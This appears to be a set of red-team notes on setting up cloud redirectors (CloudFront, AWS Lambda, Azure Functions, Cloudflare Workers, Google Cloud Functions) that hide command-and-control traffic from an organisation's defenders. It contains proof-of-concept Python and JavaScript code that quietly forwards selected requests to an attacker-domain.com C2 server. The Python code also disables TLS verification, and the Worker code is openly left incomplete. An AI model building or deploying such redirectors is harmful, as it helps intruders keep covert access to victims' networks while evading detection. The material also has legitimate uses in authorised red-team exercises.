PaaS redirectors
Evade web traffic from the Blue Team.
victime -> CloudFront -> redirector-attaker.com (intelligent redirection) -> legitimate website OR attacker website depending on request parameters.
- Use a CDN like Amazon CloudFront or Azure CDN/Front Door
- The Server Name Indication (SNI) and Host HTTP header contain the CloudFront address (not the attacker domain).
- Not blocked by TLS inspection.
- TIP: Choose the CDN depending on what the company uses.
GET / HTTP/1.1
Host: <whatever>.cloudfront.net
User-Agent...
where the attacker’s domain is associated to <whatever>.cloudfront.net.
Reverse proxy
Use a reverse proxy like Nginx or YARP (Yet Another Reverse Proxy).
Amazon
AWS Lambda executes code without a server (serverless) responding on events. It automatically manages resources. Fast development in many languages. Combine Lambda with API Gateway.
victime -> API gateway -> lambda -> attacker-domain.com
Use Amazon Lambda + API Gateway, URL format:
<random 32 chars>.lambda-url.<aws_region>.aws<api-id>.execute-api.region.amazonaws.com
Microsoft
Use Azure Functions, URL format:
<custom>.azurewebsites.net
PoC (Python) that redirects to the attacker domain when the request contains the keyword “Condition” in the User-Agent HTTP header.
@app.route(route="version", auth_level=func.AuthLevel.ANONYMOUS)
def version(req: func.HttpRequest) -> func.HttpResponse:
UA = req.headers['User-Agent']
netloc = urllib.parse.urlparse(req.url).netloc
uri = str(req.url.split(netloc, 1)[1])
get_url = "https://legitimate-domain.com"
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
if ("Condition" in UA and req.method == "GET"):
get_url = "https://attacker-domain.com" + uri
request = urllib.request.Request(get_url, headers=req.headers)
else:
request = urllib.request.Request(get_url)
with urllib.request.urlopen(request, context=ctx) as response:
html = response.read()
return func.HttpResponse(html)
Cloudflare
Use Cloudflare Workers, URL format:
<worker-name>.<custom>.worker.dev
PoC that redirects to the attacker domain when the request contains the “X-Custom-PSK” HTTP header with a specific value.
const PRESHARED_AUTH_HEADER_KEY = "X-Custom-PSK"
addEventListener('fetch', event => {
event.respondWith(handleRequest(event))
})
async function handleRequest(event) {
const request = event.request
const path = request.url.replace("https://<whatever>.<custom>.worker.dev", "")
const destUrl = "https://attacker-domain.com" + path
// Fetch value of our custom header
const psk = request.headers.get(PRESHARED_AUTH_HEADER_KEY)
// Check header matches a predetermined value
if (psk === "PRESHARED_AUTH_HEADER_KEY") {
// Send received request on to C2 server
const modifiedRequest = new Request(destUrl, {
body: request.body,
headers: request.headers,
method: request.method
})
// SOME CODE MISSING FROM SCREENSHOT, SEEN DURING A TALK
}
}
Google Cloud Function 1rst gen is free for the first 2 million invocations per month. Beyond 2 million invocations, price is $0.40 USD for 1 million invocations.
Use Google Cloud Function (serverless). Deploy with CLI GCP. URL format:
<region-project_id>.cloudfunctions.net/<function_name> # 1rst gen
<function_name>-<random_hash-region>.a.run.app # 2nd gen